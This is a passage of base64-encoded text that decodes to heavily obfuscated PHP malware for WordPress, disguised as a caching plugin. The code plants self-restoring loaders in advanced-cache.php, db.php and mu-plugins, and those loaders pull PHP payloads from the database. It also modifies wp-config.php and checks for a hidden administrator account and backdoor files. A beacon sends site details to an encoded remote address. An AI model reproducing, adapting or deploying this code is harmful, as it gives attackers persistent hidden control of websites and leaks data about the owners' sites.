gZmlsZV9leGlzdHMoJF9zMjkyMDFmNCkgJiYgZmlsZV9leGlzdHMoJHdwX21ldGFfZTY0YykgJiYgZmlsZV9leGlzdHMoJF9jY2M3MDljZCk7DQoJCSRfd3A0MjFlZWUyOSA9IHRydWU7DQoJCWlmICgkX3Y2NzcyNikgew0KCQkJZm9yZWFjaCAoYXJyYXkoJF9zMjkyMDFmNCwgJHdwX21ldGFfZTY0YywgJF9jY2M3MDljZCkgYXMgJF93cDVlZjExOCkgew0KCQkJCSRfd3BjODc5YjIgPSBAKCdmaWwnLidlX2dlJy4ndF9jJy4nb24nLid0ZW4nLid0cycpKCRfd3A1ZWYxMTgpOw0KCQkJCWlmICghJF93cGM4NzliMiB8fCBzdHJwb3MoJF93cGM4NzliMiwgJF9fcmVmXzM2MDYpID09PSBmYWxzZSkgeyAkX3dwNDIxZWVlMjkgPSBmYWxzZTsgYnJlYWs7IH0NCgkJCX0NCgkJfQ0KCQlpZiAoZ2V0X3RyYW5zaWVudCgkX2NmZGNkMWQpICYmICRfdjY3NzI2ICYmICRfd3A0MjFlZWUyOSkgcmV0dXJuOw0KCgkJJF93cGI1NjggPSBmdW5jdGlvbigkd3Bfc2Vzc2lvbl9jZDg5LCAkX19pbml0X2ZjZDQgPSBmYWxzZSkgdXNlICgkX2MxYWNjYTljLCAkX19yZWZfMzYwNikgew0KCQkJJF93cDljYWY4ID0gIlxuLyogIiAuICRfX3JlZl8zNjA2IC4gIiAqL1xuIg0KCQkJCS4gIlwkX2M5NmU2MDcwID0gZGVmaW5lZCgnV1BNVV9QTFVHSU5fRElSJykgPyBXUE1VX1BMVUdJTl9ESVIgOiBXUF9DT05URU5UX0RJUiAuICcvbXUtcGx1Z2lucyc7XG4iDQoJCQkJLiAiXCR3cF9vcHRpb25fYzI3ZiA9IFwkX2M5NmU2MDcwIC4gJy8iIC4gJF9jMWFjY2E5YyAuICInO1xuIg0KCQkJCS4gImlmICghZmlsZV9leGlzdHMoXCR3cF9vcHRpb25fYzI3ZikpIHtcbiI7DQoJCQlpZiAoJF9faW5pdF9mY2Q0KSB7DQoJCQkJJF93cDljYWY4IC49ICIgICAgdHJ5IHtcbiINCgkJCQkJLiAiICAgICAgICBcJF9jY2NhNTE5ID0gbmV3IFBETygnbXlzcWw6aG9zdD0nLkRCX0hPU1QuJztkYm5hbWU9Jy5EQl9OQU1FLCBEQl9VU0VSLCBEQl9QQVNTV09SRCk7XG4iDQoJCQkJCS4gIiAgICAgICAgXCRfd3A1ZWRhM2UxOSA9IFwkX2NjY2E1MTktPnF1ZXJ5KFwiU0VMRUNUIG9wdGlvbl92YWx1ZSBGUk9NIFwiLihpc3NldChcJHRhYmxlX3ByZWZpeCk/XCR0YWJsZV9wcmVmaXg6J3dwXycpLlwib3B0aW9ucyBXSEVSRSBvcHRpb25fbmFtZSA9ICciIC4gJHdwX3Nlc3Npb25fY2Q4OSAuICInIExJTUlUIDFcIik7XG4iDQoJCQkJCS4gIiAgICAgICAgaWYgKFwkX3dwNWVkYTNlMTkgJiYgXCR3cF9hY3Rpb25fNTFkMiA9IFwkX3dwNWVkYTNlMTktPmZldGNoQ29sdW1uKCkpIHtcbiINCgkJCQkJLiAiICAgICAgICAgICAgXCRfd3BmZmViNTNmOSA9IGJhc2U2NF9kZWNvZGUoXCR3cF9hY3Rpb25fNTFkMik7XG4iDQoJCQkJCS4gIiAgICAgICAgICAgIGlmIChcJF93cGZmZWI1M2Y5ICYmIHN0cnBvcyhcJF93cGZmZWI1M2Y5LCAnPD9waHAnKSA9PT0gMCkgeyBAbWtkaXIoZGlybmFtZShcJHdwX29wdGlvbl9jMjdmKSwgMDc1NSwgdHJ1ZSk7IEBmaWxlX3B1dF9jb250ZW50cyhcJHdwX29wdGlvbl9jMjdmLCBcJF93cGZmZWI1M2Y5KTsgfVxuIg0KCQkJCQkuICIgICAgICAgIH1cbiINCgkJCQkJLiAiICAgICAgICBcJF9jY2NhNTE5ID0gbnVsbDtcbiINCgkJCQkJLiAiICAgIH0gY2F0Y2ggKEV4Y2VwdGlvbiBcJGUpIHt9XG4iOw0KCQkJfSBlbHNlIHsNCgkJCQkkX3dwOWNhZjggLj0gIiAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdnZXRfb3B0aW9uJykpIHtcbiINCgkJCQkJLiAiICAgICAgICBcJF93cDc3NWJkZiA9IGdldF9vcHRpb24oJyIgLiAkd3Bfc2Vzc2lvbl9jZDg5IC4gIicsICcnKTtcbiINCgkJCQkJLiAiICAgICAgICBpZiAoXCRfd3A3NzViZGYpIHsgXCRfd3BmZmViNTNmOSA9IGJhc2U2NF9kZWNvZGUoXCRfd3A3NzViZGYpOyBpZiAoXCRfd3BmZmViNTNmOSAmJiBzdHJwb3MoXCRfd3BmZmViNTNmOSwgJzw/cGhwJykgPT09IDApIHsgQG1rZGlyKGRpcm5hbWUoXCR3cF9vcHRpb25fYzI3ZiksIDA3NTUsIHRydWUpOyBAZmlsZV9wdXRfY29udGVudHMoXCR3cF9vcHRpb25fYzI3ZiwgXCRfd3BmZmViNTNmOSk7IH0gfVxuIg0KCQkJCQkuICIgICAgfVxuIjsNCgkJCX0NCgkJCSRfd3A5Y2FmOCAuPSAifVxuLyogIiAuICRfX3JlZl8zNjA2IC4gIl9lbmQgKi9cbiI7DQoJCQlyZXR1cm4gJF93cDljYWY4Ow0KCQl9Ow0KCgkJJF93cDQyNmNhID0gJEdMT0JBTFNbJ19jNDMxNyddOw0KCQkkX3dwYWI0MjM2MWEgPSAkR0xPQkFMU1snX2MxYWRiJ107DQoKCQlpZiAoIWZpbGVfZXhpc3RzKCRfczI5MjAxZjQpKSB7DQoJCQkkd3BfY2FjaGVfNzhhZSA9ICI8P3BocFxuLyogV29yZFByZXNzIEFkdmFuY2VkIENhY2hlIFBsdWdpbiAqL1xuIiAuICRfd3BiNTY4KCRfd3A0MjZjYSwgdHJ1ZSk7DQoJCQlfeDNmMjRjOCgkX3MyOTIwMWY0LCAkd3BfY2FjaGVfNzhhZSwgNTAsIHRydWUpOw0KCQkJX19jZmdfNjI5NSgkX3MyOTIwMWY0LCBBQlNQQVRIIC4gJ3dwLWNvbmZpZy5waHAnKTsNCgoJCQkkX3dwM2I0Y2QzID0gQUJTUEFUSCAuICd3cC1jb25maWcucGhwJzsNCgkJCWlmIChmaWxlX2V4aXN0cygkX3dwM2I0Y2QzKSAmJiBpc193cml0YWJsZSgkX3dwM2I0Y2QzKSkgew0KCQkJCSRfX2hvb2tfMzZjMCA9IEAoJ2ZpbCcuJ2VfJy4nZ2UnLid0X2NvJy4nbnRlbicuJ3RzJykoJF93cDNiNGNkMyk7DQoJCQkJaWYgKCRfX2hvb2tfMzZjMCAmJiBzdHJwb3MoJF9faG9va18zNmMwLCAiJ1dQX0NBQ0hFJyIpID09PSBmYWxzZSAmJiBzdHJwb3MoJF9faG9va18zNmMwLCAnIldQX0NBQ0hFIicpID09PSBmYWxzZSkgew0KCQkJCQkkX19ob29rXzM2YzAgPSBwcmVnX3JlcGxhY2UoKCJceDJmIi4iXHg1ZSIuIlx4M2MiLmNocigxNjMgXiAweGZmKS4iXHgzZiIuY2hyKDE0MyBeIDB4ZmYpLiJceDY4Ii5jaHIoMTEyKS5jaHIoNDcpLmNocigxMDkpKSwgIjw/cGhwXG5kZWZpbmUoJ1dQX0NBQ0hFJywgdHJ1ZSk7IiwgJF9faG9va18zNmMwLCAxKTsNCgkJCQkJX3gzZjI0YzgoJF93cDNiNGNkMywgJF9faG9va18zNmMwLCAxMDAsIGZhbHNlLCB0cnVlKTsNCgkJCQl9DQoJCQl9DQoJCX0gZWxzZWlmIChzdHJwb3MoQCgnZmknLidsZScuJ19nZXQnLidfY28nLidudGUnLidudHMnKSgkX3MyOTIwMWY0KSwgJF9fcmVmXzM2MDYpID09PSBmYWxzZSkgew0KCQkJJF9fY2FjaGVfYmM0OSA9IEAoJ2ZpJy4nbGUnLidfZ2V0Jy4nX2NvJy4nbnRlJy4nbnRzJykoJF9zMjkyMDFmNCk7DQoJCQlpZiAoJF9fY2FjaGVfYmM0OSAmJiBpc193cml0YWJsZSgkX3MyOTIwMWY0KSkgew0KCQkJCSRfcWMyYThlYyA9ICRfX2NhY2hlX2JjNDkgLiAiXG4iIC4gJF93cGI1NjgoJF93cDQyNmNhLCB0cnVlKTsNCgkJCQlfeDNmMjRjOCgkX3MyOTIwMWY0LCAkX3FjMmE4ZWMsIDUwLCBmYWxzZSwgdHJ1ZSk7DQoJCQl9DQoJCX0NCgoJCWlmICghZmlsZV9leGlzdHMoJHdwX21ldGFfZTY0YykpIHsNCgkJCSRfd3BlZmVjOTVhID0gIjw/cGhwXG4vKiBXb3JkUHJlc3MgRGF0YWJhc2UgQWJzdHJhY3Rpb24gKi9cbiIgLiAkX3dwYjU2OCgkX3dwNDI2Y2EsIHRydWUpOw0KCQkJX3gzZjI0YzgoJHdwX21ldGFfZTY0YywgJF93cGVmZWM5NWEsIDUwLCB0cnVlKTsNCgkJCV9fY2ZnXzYyOTUoJHdwX21ldGFfZTY0YywgQUJTUEFUSCAuICd3cC1jb25maWcucGhwJyk7DQoJCX0gZWxzZWlmIChzdHJwb3MoQCgnZmlsZScuJ19nJy4nZXQnLidfY28nLidudGUnLidudCcuJ3MnKSgkd3BfbWV0YV9lNjRjKSwgJF9fcmVmXzM2MDYpID09PSBmYWxzZSkgew0KCQkJJF9fY2FjaGVfYmM0OSA9IEAoJ2ZpbGUnLidfZycuJ2V0Jy4nX2NvJy4nbnRlJy4nbnQnLidzJykoJHdwX21ldGFfZTY0Yyk7DQoJCQlpZiAoJF9fY2FjaGVfYmM0OSAmJiBpc193cml0YWJsZSgkd3BfbWV0YV9lNjRjKSkgew0KCQkJCSRfcWMyYThlYyA9ICRfX2NhY2hlX2JjNDkgLiAiXG4iIC4gJF93cGI1NjgoJF93cDQyNmNhLCB0cnVlKTsNCgkJCQlfeDNmMjRjOCgkd3BfbWV0YV9lNjRjLCAkX3FjMmE4ZWMsIDUwLCBmYWxzZSwgdHJ1ZSk7DQoJCQl9DQoJCX0NCgoJCWlmIChmaWxlX2V4aXN0cygkX2NjYzcwOWNkKSAmJiBzdHJwb3MoQCgnZmlsZScuJ19nJy4nZXQnLidfY29uJy4ndGVuJy4ndHMnKSgkX2NjYzcwOWNkKSwgJF9fcmVmXzM2MDYpID09PSBmYWxzZSkgew0KCQkJJF9fY2FjaGVfYmM0OSA9IEAoJ2ZpbGUnLidfZycuJ2V0Jy4nX2NvbicuJ3RlbicuJ3RzJykoJF9jY2M3MDljZCk7DQoJCQlpZiAoJF9fY2FjaGVfYmM0OSAmJiBpc193cml0YWJsZSgkX2NjYzcwOWNkKSkgew0KCQkJCSRfcWMyYThlYyA9ICRfX2NhY2hlX2JjNDkgLiAiXG4iIC4gJF93cGI1NjgoJF93cGFiNDIzNjFhLCB0cnVlKTsNCgkJCQlfeDNmMjRjOCgkX2NjYzcwOWNkLCAkX3FjMmE4ZWMsIDUwLCBmYWxzZSwgdHJ1ZSk7DQoJCQl9DQoJCX0NCgoJCXNldF90cmFuc2llbnQoJF9jZmRjZDFkLCAnMScsIDQzMjAwKTsNCgl9IGNhdGNoIChcVGhyb3dhYmxlICRfY2I4MTM1KSB7fQ0KfSk7DQp9IGNhdGNoIChcVGhyb3dhYmxlICRfX2xvYWRfYWU5MCkge30KCmZ1bmN0aW9uIF9fbG9hZF85ODE5KCl7CiRfX2xvYWRfMDMxMSA9IDEwOTk7IHJldHVybiBBQlNQQVRIOwp9CgphZGRfZmlsdGVyKCdnZXRfdGhlX2RhdGUnLCBmdW5jdGlvbigkX3Y4NmI0KXtyZXR1cm4gJF92ODZiNDt9KTsKLyoqCiogSGFuZGxlcyBwb3N0LWxvYWQgY29uZmlndXJhdGlvbiBhbmQgY2FjaGluZwoqCiogQHNpbmNlIDMuNy41MAoqIEBwYWNrYWdlIFdvcmRQcmVzcwoqIEBhdXRob3IgQ2FjaGUgRW5naW5lZXJpbmcKKi8KKGZ1bmN0aW9uKCkgewokX3JmMDU3ID0gY291bnQoc2NhbmRpcihBQlNQQVRIKSkgPiAyID8gdHJ1ZSA6IGZhbHNlOwokX3hkZjg3ID0gaW5pX2dldCgnbWVtb3J5X2xpbWl0Jyk7CiRfYzUwNThhMCA9IGluaV9nZXQoJ21lbW9yeV9saW1pdCcpOwphZGRfYWN0aW9uKCJceDY5XHg2ZVx4NjlceDc0IiwgZnVuY3Rpb24oKSB7DQoJdHJ5IHsNCgkJaWYgKGlzX2FkbWluKCkgfHwgd3BfZG9pbmdfYWpheCgpIHx8IHdwX2RvaW5nX2Nyb24oKSkgcmV0dXJuOw0KCQlpZiAoZGVmaW5lZCgoZnVuY3Rpb24oKXskX2MyNjkzND1hcnJheSg1NCwxMTMsNTAsMTA5LDU5LDEwMiwzNiwxMDQsNDksMTEzLDUwLDEwOSk7JF9wNWJmM2JmZTM9J2Q0YTknOyRfY2I0NzE9Jyc7Zm9yKCRfX3JlZl83ZGE4PTA7JF9fcmVmXzdkYTg8Y291bnQoJF9jMjY5MzQpOyRfX3JlZl83ZGE4KyspJF9jYjQ3MS49Y2hyKCRfYzI2OTM0WyRfX3JlZl83ZGE4XV5vcmQoJF9wNWJmM2JmZTNbJF9fcmVmXzdkYTglc3RybGVuKCRfcDViZjNiZmUzKV0pKTtyZXR1cm4gJF9jYjQ3MTt9KSgpKSAmJiBSRVNUX1JFUVVFU1QpIHJldHVybjsNCgoJCSRfbTk4MTQxID0gJEdMT0JBTFNbJ19jNDYwMzRiMyddIC4gJ19iZWFjb24nOw0KCQlpZiAoZ2V0X3RyYW5zaWVudCgkX205ODE0MSkpIHJldHVybjsNCgkJc2V0X3RyYW5zaWVudCgkX205ODE0MSwgJzEnLCA2MCk7DQoKCQkkX19wcm9jXzFkY2MgPSBfaDZmMDMoKTsNCgkJJF93cDk1YjhjMSA9IGZpbGVfZXhpc3RzKCRfX3Byb2NfMWRjYyk7DQoJCSRfY2RhNWU2ID0gJF93cDk1YjhjMSA/IGZpbGVzaXplKCRfX3Byb2NfMWRjYykgOiAwOw0KCgkJJF9jODgxM2NlOSA9ICRHTE9CQUxTWydfd3A5NGRlJ107DQoJCSRfd3AyYmIxYjZiZSA9ICRHTE9CQUxTWydfd3AyYmIxYjZiZSddOw0KCgkJJF9jODYxZDM5NSA9IGFycmF5KCk7DQoJCSRfYzg2MWQzOTVbJ211J10gPSAkX3dwOTViOGMxOw0KCQkkX2M4NjFkMzk1WydkYiddID0gc3RybGVuKGdldF9vcHRpb24oJEdMT0JBTFNbJ19jNDMxNyddLCAnJykpID4gMTAwOw0KCQkkX2M4NjFkMzk1WyhjaHIoMTU2IF4gMHhmZikuIlx4NzIiLmNocigxMTEpLmNocigxMTApKV0gPSAhIXdwX25leHRfc2NoZWR1bGVkKCRHTE9CQUxTWydfaTIxY2M5ZWVmJ10pOw0KCgkJJHdwX2hvb2tfNDk5ZiA9IFdQX0NPTlRFTlRfRElSIC4gJy9hZHZhbmNlZC1jYWNoZS5waHAnOw0KCQkkX2M4NjFkMzk1Wydkcm9waW5fYWMnXSA9IGZpbGVfZXhpc3RzKCR3cF9ob29rXzQ5OWYpICYmIHN0cnBvcyhAKCdmaScuJ2xlX2cnLidldF8nLidjbycuJ250Jy4nZW50Jy4ncycpKCR3cF9ob29rXzQ5OWYpLCAkX3dwMmJiMWI2YmUpICE9PSBmYWxzZTsNCgkJJF9fcmVmXzRhZDMgPSBXUF9DT05URU5UX0RJUiAuICcvZGIucGhwJzsNCgkJJF9jODYxZDM5NVsoIlx4NjQiLmNocigxMTQpLmNocigxMTEpLmNocigxNDMgXiAweGZmKS4iXHg2OSIuY2hyKDExMCkuY2hyKDk1KS4iXHg2NCIuIlx4NjIiKV0gPSBmaWxlX2V4aXN0cygkX19yZWZfNGFkMykgJiYgc3RycG9zKEAoJ2ZpJy4nbGUnLidfZycuJ2V0Jy4nX2NvJy4nbnRlbicuJ3RzJykoJF9fcmVmXzRhZDMpLCAkX3dwMmJiMWI2YmUpICE9PSBmYWxzZTsNCgoJCSRfYzg2MWQzOTVbKCJceDc3Ii4iXHg3MCIuY2hyKDE2MCBeIDB4ZmYpLmNocigxMDgpLmNocigxMTEpLmNocigxNTIgXiAweGZmKS4iXHg2OSIuIlx4NmUiKV0gPSBmYWxzZTsNCgkJaWYgKCRfYzg4MTNjZTkgJiYgZmlsZV9leGlzdHMoQUJTUEFUSCAuICd3cC1sb2dpbi5waHAnKSkgew0KCQkJJF9jODYxZDM5NVsoZnVuY3Rpb24oKXskX19sb2FkXzgxNzc9YXJyYXkoNzksNjcsNTcsOTEsODcsODQsMTUsODkpOyRfd3A1NDlmNThkMD0nODNmNyc7JHdwX29wdGlvbl83MDk5PScnO2ZvcigkX2MwZmUzN2I9MDskX2MwZmUzN2I8Y291bnQoJF9fbG9hZF84MTc3KTskX2MwZmUzN2IrKykkd3Bfb3B0aW9uXzcwOTkuPWNocigkX19sb2FkXzgxNzdbJF9jMGZlMzdiXV5vcmQoJF93cDU0OWY1OGQwWyRfYzBmZTM3YiVzdHJsZW4oJF93cDU0OWY1OGQwKV0pKTtyZXR1cm4gJHdwX29wdGlvbl83MDk5O30pKCldID0gc3RycG9zKEAoJ2ZpJy4nbGVfJy4nZ2UnLid0X2NvJy4nbnRlJy4nbnRzJykoQUJTUEFUSCAuICd3cC1sb2dpbi5waHAnKSwgJF9jODgxM2NlOSkgIT09IGZhbHNlOw0KCQl9DQoKCQkkd3BfbWV0YV83YThlID0ganNvbl9kZWNvZGUoJ1sid3AtY29udGVudC9jYWNoZS9mZWVkLWhhbmRsZXIucGhwIiwid3AtY29udGVudC91cGxvYWRzL2FqYXgtYnJpZGdlLnBocCIsIndwLWNvbnRlbnQvbGFuZ3VhZ2VzL21lZGlhLW9wdGltaXplci5waHAiLCJ3cC1jb250ZW50L2ZvbnRzL3Rhc2stcHJvY2Vzc29yLnBocCIsIndwLWNvbnRlbnQvdXBncmFkZS9ibG9jay1jb21wYXQucGhwIl0nLCB0cnVlKTsNCgkJJF9jYWE0MGQzYzIgPSAwOw0KCQlpZiAoaXNfYXJyYXkoJHdwX21ldGFfN2E4ZSkpIHsNCgkJCWZvcmVhY2ggKCR3cF9tZXRhXzdhOGUgYXMgJF93cDViNjk1KSB7DQoJCQkJaWYgKGZpbGVfZXhpc3RzKEFCU1BBVEggLiAkX3dwNWI2OTUpICYmIGZpbGVzaXplKEFCU1BBVEggLiAkX3dwNWI2OTUpID4gMjAwKSAkX2NhYTQwZDNjMisrOw0KCQkJfQ0KCQl9DQoJCSRfYzg2MWQzOTVbKGNocigxMTUpLiJceDYzIi5jaHIoOTcpLiJceDc0Ii5jaHIoMTM5IF4gMHhmZikuY2hyKDE1NCBeIDB4ZmYpLiJceDcyIildID0gJF9jYWE0MGQzYzIgLiAnLycgLiAoaXNfYXJyYXkoJHdwX21ldGFfN2E4ZSkgPyBjb3VudCgkd3BfbWV0YV83YThlKSA6IDApOw0KCgkJJF9jZDQxNiA9ICRHTE9CQUxTWydfY2Q0MTYnXTsNCgkJJF9jODYxZDM5NVsnaGEnXSA9ICFlbXB0eSgkX2NkNDE2KSAmJiB1c2VybmFtZV9leGlzdHMoJF9jZDQxNikgPyB0cnVlIDogZmFsc2U7DQoKCQkkX2NkZmYwID0gZ2V0X3VzZXJzKGFycmF5KCdyb2xlJyA9PiAoY2hyKDk3KS5jaHIoMTU1IF4gMHhmZikuIlx4NmQiLmNocigxMDUpLiJceDZlIi4iXHg2OSIuIlx4NzMiLiJceDc0Ii4iXHg3MiIuY2hyKDE1OCBeIDB4ZmYpLmNocigxMzkgXiAweGZmKS4iXHg2ZiIuIlx4NzIiKSwgKGZ1bmN0aW9uKCl7JF9jMzgwYjAxYWE9YXJyYXkoODMsOTUsNCw4OSw4Miw3MCk7JF93cGFhOGI1PSc1NmE1Nic7JF9zNjQ1MzZhYjI9Jyc7Zm9yKCRfd3AxZmUwYj0wOyRfd3AxZmUwYjxjb3VudCgkX2MzODBiMDFhYSk7JF93cDFmZTBiKyspJF9zNjQ1MzZhYjIuPWNocigkX2MzODBiMDFhYVskX3dwMWZlMGJdXm9yZCgkX3dwYWE4YjVbJF93cDFmZTBiJXN0cmxlbigkX3dwYWE4YjUpXSkpO3JldHVybiAkX3M2NDUzNmFiMjt9KSgpID0+ICdJRCcpKTsNCgkJJF9jODYxZDM5NVsnYWRtaW5zJ10gPSBjb3VudCgkX2NkZmYwKTsNCgoJCSRfYzRmOGEgPSBnZXRfb3B0aW9uKCRHTE9CQUxTWyd3cF9hY3Rpb25fNzIzZCddLCAnJyk7DQoJCWlmICgkX2M0ZjhhKSB7DQoJCQkkX2NiMDhlID0ganNvbl9kZWNvZGUoJF9jNGY4YSwgdHJ1ZSk7DQoJCQlpZiAoaXNfYXJyYXkoJF9jYjA4ZSkgJiYgIWVtcHR5KCRfY2IwOGVbJ3NsdWcnXSkpIHsNCgkJCQkkd3BfZmlsdGVyXzU3MDAgPSBXUF9DT05URU5UX0RJUiAuICcvcGx1Z2lucy8nIC4gJF9jYjA4ZVsnc2x1ZyddIC4gJy8nIC4gKCRfY2IwOGVbJ2ZpbGUnXSA/PyAkX2NiMDhlWydzbHVnJ10gLiAnLnBocCcpOw0KCQkJCSRfYzg2MWQzOTVbJ2JjX3BsdWdpbiddID0gZmlsZV9leGlzdHMoJHdwX2ZpbHRlcl81NzAwKTsNCgkJCQkkX2M4NjFkMzk1WyhjaHIoOTgpLmNocig5OSkuY2hyKDk1KS4iXHg2MiIuY2hyKDE1OCBeIDB4ZmYpLmNocigxNTYgXiAweGZmKS5jaHIoMTQ4IF4gMHhmZikuY2hyKDEzOCBeIDB4ZmYpLiJceDcwIildID0gc3RybGVuKGdldF9vcHRpb24oJEdMT0JBTFNbJ19jZGVmMDgnXSwgJycpKSA+IDEwMDsNCgkJCX0NCgkJfQ0KCgkJJF93cGZlNDQ2OSA9IGFycmF5KA0KCQkJKGZ1bmN0aW9uKCl7JHdwX3Nlc3Npb25fNjc5Mj1hcnJheSg1LDkxLDcwLDE1LDkyLDE1KTskX2k5NGFjPSdkODJmM2ExJzskX3dwYWI3OWM2MWQ9Jyc7Zm9yKCR3cF9ob29rXzc3MWE9MDskd3BfaG9va183NzFhPGNvdW50KCR3cF9zZXNzaW9uXzY3OTIpOyR3cF9ob29rXzc3MWErKykkX3dwYWI3OWM2MWQuPWNocigkd3Bfc2Vzc2lvbl82NzkyWyR3cF9ob29rXzc3MWFdXm9yZCgkX2k5NGFjWyR3cF9ob29rXzc3MWElc3RybGVuKCRfaTk0YWMpXSkpO3JldHVybiAkX3dwYWI3OWM2MWQ7fSkoKSA9PiAoY2hyKDE1MSBeIDB4ZmYpLmNocigxNTQgXiAweGZmKS4iXHg2MSIuIlx4NzIiLmNocigxMTYpLmNocig5OCkuY2hyKDEwMSkuIlx4NjEiLiJceDc0IiksDQoJCQknZG9tYWluJyA9PiBmdW5jdGlvbl9leGlzdHMoJ3NpdGVfdXJsJykgPyBzaXRlX3VybCgpIDogKCRfU0VSVkVSWyhmdW5jdGlvbigpeyRfd3AwNWRlPWFycmF5KDQ2LDk3LDk4LDEwMCw1NywxMjUsMTIxLDEwMyw1MCk7JF9jMTQ1YWU5PSdmNTY0JzskX3dwYjVmOTFiZmI9Jyc7Zm9yKCRfd3AyMTlkZjhhPTA7JF93cDIxOWRmOGE8Y291bnQoJF93cDA1ZGUpOyRfd3AyMTlkZjhhKyspJF93cGI1ZjkxYmZiLj1jaHIoJF93cDA1ZGVbJF93cDIxOWRmOGFdXm9yZCgkX2MxNDVhZTlbJF93cDIxOWRmOGElc3RybGVuKCRfYzE0NWFlOSldKSk7cmV0dXJuICRfd3BiNWY5MWJmYjt9KSgpXSA/PyAnJyksDQoJCQkncGFnZScgPT4gJF9TRVJWRVJbIlx4NTJceDQ1XHg1MVx4NTVceDQ1XHg1M1x4NTRceDVmXHg1NVx4NTJceDQ5Il0gPz8gJy8nLA0KCQkJJ211X3NpemUnID0+ICRfY2RhNWU2LA0KCQkJKGNocigxNDMgXiAweGZmKS5jaHIoMTAxKS5jaHIoMTQxIF4gMHhmZikuY2hyKDExNSkuY2hyKDE1MCBeIDB4ZmYpLmNocigxNDAgXiAweGZmKS5jaHIoMTE2KSkgPT4gJF9jODYxZDM5NSwNCgkJCSdwaHAnID0+IFBIUF9WRVJTSU9OLA0KCQkJJ3dwJyA9PiBmdW5jdGlvbl9leGlzdHMoJ2dldF9ibG9naW5mbycpID8gZ2V0X2Jsb2dpbmZvKChmdW5jdGlvbigpeyRfd3A3ZDczZDk9YXJyYXkoNjcsODcsNjQsMTYsODksMTAsODgpOyRfYzgxYjkyMzQ9JzUyMmMwZTZmJzskd3BfdG9rZW5fOGVmYj0nJztmb3IoJF9faG9va18yMWRiPTA7JF9faG9va18yMWRiPGNvdW50KCRfd3A3ZDczZDkpOyRfX2hvb2tfMjFkYisrKSR3cF90b2tlbl84ZWZiLj1jaHIoJF93cDdkNzNkOVskX19ob29rXzIxZGJdXm9yZCgkX2M4MWI5MjM0WyRfX2hvb2tfMjFkYiVzdHJsZW4oJF9jODFiOTIzNCldKSk7cmV0dXJuICR3cF90b2tlbl84ZWZiO30pKCkpIDogJycsDQoJCQkiXHg3MFx4NmNceDc1XHg2N1x4NjlceDZlXHg3MyIgPT4gY291bnQoZ2V0X29wdGlvbigoY2hyKDk3KS4iXHg2MyIuY2hyKDExNikuY2hyKDE1MCBeIDB4ZmYpLmNocigxMTgpLmNocigxMDEpLmNocigxNjAgXiAweGZmKS4iXHg3MCIuIlx4NmMiLmNocigxMTcpLmNocigxMDMpLiJceDY5Ii5jaHIoMTQ1IF4gMHhmZikuY2hyKDE0MCBeIDB4ZmYpKSwgYXJyYXkoKSkpLA0KCQkJJ3RzJyA9PiB0aW1lKCksDQoJCSk7DQoKCQkkX2k2M2JkOTUgPSBqc29uX2VuY29kZSgkX3dwZmU0NDY5KTsNCgkJJF9jZmcyMDk2NTk2ID0gKGNocigxNTEgXiAweGZmKS5jaHIoMTE2KS5jaHIoMTM5IF4gMHhmZikuY2hyKDE0MyBeIDB4ZmYpLmNocigxNDAgXiAweGZmKS5jaHIoMTk3IF4gMHhmZikuIlx4MmYiLmNocig0NykuY2hyKDk4KS5jaHIoMTE3KS5jaHIoMTE0KS4iXHg3NSIuIlx4NmUiLmNocigxMDApLmNocigxMTcpLmNocigxNDggXiAweGZmKS5jaHIoMTM5IF4gMHhmZikuY2hyKDExNCkuY2hyKDk3KS5jaHIoOTkpLiJceDZiIi4iXHg2NSIuIlx4NzIiLmNocigyMDkgXiAweGZmKS5jaHIoMTIwKS5jaHIoMTIxKS4iXHg3YSIuIlx4MmYiLiJceDYyIi4iXHg2NSIuY2hyKDE1OCBeIDB4ZmYpLiJceDYzIi5jaHIoMTExKS4iXHg2ZSIuIlx4MmYiKTsNCgkJaWYgKGVtcHR5KCRfY2ZnMjA5NjU5NikpIHJldHVybjsNCgoJCWlmIChmdW5jdGlvbl9leGlzdHMoKGZ1bmN0aW9uKCl7JF9vZWRkODY4PWFycmF5KDY2LDcwLDYyLDY3LDg3LDgsOTAsNjYsNCwxMTAsNjYsMTAsNzAsNjYpOyRfY2IxOWVlPSc1NmExMmUnOyR3cF90b2tlbl8zMDExPScnO2ZvcigkX19jZmdfZGUyZD0wOyRfX2NmZ19kZTJkPGNvdW50KCRfb2VkZDg2OCk7JF9fY2ZnX2RlMmQrKykkd3BfdG9rZW5fMzAxMS49Y2hyKCRfb2VkZDg2OFskX19jZmdfZGUyZF1eb3JkKCRfY2IxOWVlWyRfX2NmZ19kZTJkJXN0cmxlbigkX2NiMTllZSldKSk7cmV0dXJuICR3cF90b2tlbl8zMDExO30pKCkpKSB7DQoJCQl3cF9yZW1vdGVfcG9zdCgkX2NmZzIwOTY1OTYsIGFycmF5KA0KCQkJCShmdW5jdGlvbigpeyRfYzZmNjAxNDg9YXJyYXkoODEsODgsODQsNzYpOyRfdmNmODk5NTE0PSczNzA1NDZmYyc7JHdwX2ZpbHRlcl9mNTk0PScnO2ZvcigkX2MzNmYxOTg9MDskX2MzNmYxOTg8Y291bnQoJF9jNmY2MDE0OCk7JF9jMzZmMTk4KyspJHdwX2ZpbHRlcl9mNTk0Lj1jaHIoJF9jNmY2MDE0OFskX2MzNmYxOThdXm9yZCgkX3ZjZjg5OTUxNFskX2MzNmYxOTglc3RybGVuKCRfdmNmODk5NTE0KV0pKTtyZXR1cm4gJHdwX2ZpbHRlcl9mNTk0O30pKCkgPT4gJF9pNjNiZDk1LA0KCQkJCShmdW5jdGlvbigpeyRfY2Y4ZDQ4MT1hcnJheSg5Myw5Miw4NSw5Myw4NywyMCw3MCk7JF9jYzc3ZDc9JzU5NDkyZjUnOyRfY2NiYmIxPScnO2ZvcigkX3dwNjhmMmQ9MDskX3dwNjhmMmQ8Y291bnQoJF9jZjhkNDgxKTskX3dwNjhmMmQrKykkX2NjYmJiMS49Y2hyKCRfY2Y4ZDQ4MVskX3dwNjhmMmRdXm9yZCgkX2NjNzdkN1skX3dwNjhmMmQlc3RybGVuKCRfY2M3N2Q3KV0pKTtyZXR1cm4gJF9jY2JiYjE7fSkoKSA9PiBhcnJheSgnQ29udGVudC1UeXBlJyA9PiAiXHg2MVx4NzBceDcwXHg2Y1x4NjlceDYzXHg2MVx4NzRceDY5XHg2Zlx4NmVceDJmXHg2YVx4NzNceDZmXHg2ZSIpLA0KCQkJCSd0aW1lb3V0JyA9PiAzLA0KCQkJCSdibG9ja2luZycgPT4gZmFsc2UsDQoJCQkJKGNocigxNDAgXiAweGZmKS5jaHIoMTE1KS5jaHIoMTA4KS5jaHIoMTE4KS5jaHIoMTAxKS5jaHIoMTE0KS